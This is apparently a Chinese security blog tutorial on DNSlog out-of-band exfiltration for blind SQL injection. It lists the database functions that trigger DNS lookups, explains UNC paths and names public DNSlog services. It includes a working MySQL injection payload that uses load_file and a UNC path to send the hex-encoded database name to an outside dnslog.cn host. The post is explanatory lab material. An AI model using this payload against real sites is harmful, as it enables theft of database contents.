0x00 SQL盲注
当我们发现一个站点存在一个没有数据回显的注入点进行注入时,只能采取盲注,这种注入速度非常慢,需要一个一个字符猜解,而且很容易被网站BAN
掉IP
,虽然也可以使用代理IP池
,但是还是需要一种快速有效的方法来获取数据。
此时我们就可以利用DNSlog
来快速的获取数据,当然我们也可以在无回显的命令执行
或者无回显的SSRF
中利用。
0x01 DNSlog利用条件
DBMS
中需要有可用的,能直接或间接引发DNS解析
过程的子程序,即使用到UNC
Linux
没有UNC
路径,所以当处于Linux
系统时,不能使用该方式获取数据
前人总结不同DBMS
中使用的方法:
Microsoft SQL Server
master…xp_dirtree (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)
master…xp_fileexist (用于确定一个特定的文件是否存在于硬盘)
master…xp_subdirs (用于得到给定的文件夹内的文件夹列表)
Oracle
GET_HOST_ADDRES (用于检索特定主机的IP)
UTL_HTTP.REQUEST (从给定的地址检索到的第1-2000字节的数据)
Mysql
load_file (读取文件内容并将其作为字符串返回)
PostgreSQL
COPY (用于在文件系统的文件和表之间拷贝数据)
0x02 UNC
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径
格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename
0x03 DNSlog平台
- http://www.dnslog.cn
- http://ceye.io
也可以自己手动搭建,工具地址:https://github.com/bugscanteam/dnslog/
0x04 盲注测试
自己的DNSlog
域名为g5ucgd.dnslog.cn
这里利用自己的websec
平台来完成的测试,那这里要注意一点,由于我平台使用的是MySQL
,要用到load_file()
函数的,它需要当前数据库用户有读权限,并且需要设置secure_file_priv
。
前端没有回显,只输出了语句,此时直接去看平台。
前面的数字,即为hex(database())
。
验证后为正确回显。
payload
如下
admin" union select load_file(concat('\\\\',(select hex(database())),'.g5ucgd.dnslog.cn\\test'))#
\\\\
转义后即为\\
select hex(database())
为需要的查询语句,用hex()
是因为构造UNC
时不能有特殊符号,转化一下更好用。.g5ucgd.dnslog.cn\\test
转义后就变成了.g5ucgd.dnslog.cn\test
,后面的test
只是资源名字,随便起。
拼接起来后就成了\\bvwa.g5ucgd.dnslog.cn\test
完全符合UNC
的路径标准,解析后在DNSlog
平台就能看到数据了。
注意啦,虽然使用hex()
可以解决UNC
特殊字符的问题,但是UNC
的长度也不能超过128
,所以自行看情况使用hex()
啦。
比如上图中的root@localhost
不用hex()
就无法外带的。
0x05 结束
好几天没学习了,心里那个苦阿,学习使人快乐!